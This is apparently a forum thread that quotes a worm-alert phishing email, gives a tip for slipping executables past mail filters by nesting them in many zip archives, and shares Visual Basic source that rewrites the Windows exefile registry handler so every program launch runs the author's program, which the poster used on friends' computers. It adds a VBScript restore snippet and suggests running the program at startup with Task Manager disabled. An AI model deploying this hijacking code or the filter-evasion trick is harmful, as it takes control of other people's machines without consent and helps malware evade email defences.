Its been a long time since i have recieved one of these in my inbox.
-------------------------------------------------------------------------
Worm email
----------------------------------------------------------------------==
Mail server report.

Our firewall determined the e-mails containing worm copies are being
sent from your computer.

Nowadays it happens from many computers, because this is a new virus
type (Network Worms).

Using the new bug in the Windows, these viruses infect the computer
unnoticeably.
After the penetrating into the computer the virus harvests all the
e-mail addresses and sends the copies of itself to these e-mail
addresses

Please install updates for worm elimination and your computer
restoring.

Hi there,

A lot of e-mail providers don't let people send .exe/.bat/etc, and they have a filesize limit as well. I know a way to get round it, and it's to put the executable file in about 12 .zip folders

.

It is very annoying, I was innocent as well, I was sending a VB compiled program I made to my friend.

Regards,
Kieran Taylor.

A couple weeks ago i played a joke on several of my friends.
I wrote this simple but yet annoying exe program.

PHP Code:

   Option Explicit
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hWnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long

Private Sub btnRun_Click()
Dim RestoreSetting As String
Dim A As Object
Dim B As Object

    RestoreSetting = Chr$(34) + "%1" + Chr$(34) + " %*"
    Set A = CreateObject("wscript.shell")
    Set B = CreateObject("scripting.filesystemobject")

    If Command$ <> vbNullString Then
    A.regwrite "HKCR\exefile\shell\open\command\", Chr(34) + "%1" + Chr(34) + " %*"
    ShellExecute Me.hWnd, "open", Command$, "", "", vbNormalFocus
    Call Install
    Unload Me
End If
End Sub

Private Sub Command1_Click()
Dim A As Object
Dim B As Object
Set A = CreateObject("wscript.shell")
Set B = CreateObject("scripting.filesystemobject")
A.regwrite "HKCRexefileshellopencommand", Chr(34) + "%1" + Chr(34) + " %*"
End Sub

Private Sub Form_Load()
Call Install
Command$
End Sub

Private Sub Form_Unload(Cancel As Integer)
End
End Sub

Public Sub Install()
Dim A As Object
Dim B As Object
Dim Setting As String
Dim Original As String

Setting = Chr$(34) + "%1" + Chr$(34) + " %*"
Set A = CreateObject("wscript.shell")
Set B = CreateObject("scripting.filesystemobject")
     
    Original = A.regread("HKCRexefileshellopencommand")
    If Original = Setting Then
    A.regwrite "HKCRexefileshellopencommandoriginal", Setting
    A.regwrite "HKCRexefileshellopencommand", B.buildpath(App.Path, App.EXEName & ".EXE %1 %*")
    End If
End Sub

This code does a little registry rewrite.
To those that cant read it what its doing is making all exe files dependent on my program.
So what happens is everytime they execute a exe file my program runs over the top of it

So if you try to load FileZilla my program will popup instead.
you will get the same results with any exe file on your harddrive.
But of course i had the antidote as seen below

PHP Code:

   set shl=createobject("wscript.shell")
shl.regwrite "HKCR\exefile\shell\open\command\",Chr(34) + "%1" + Chr(34) + " %*"

It would actually be nice for personal use.
To keep them little brothers or whom ever off your pc while your gone.
You could add this program to the startup and disable task manager.
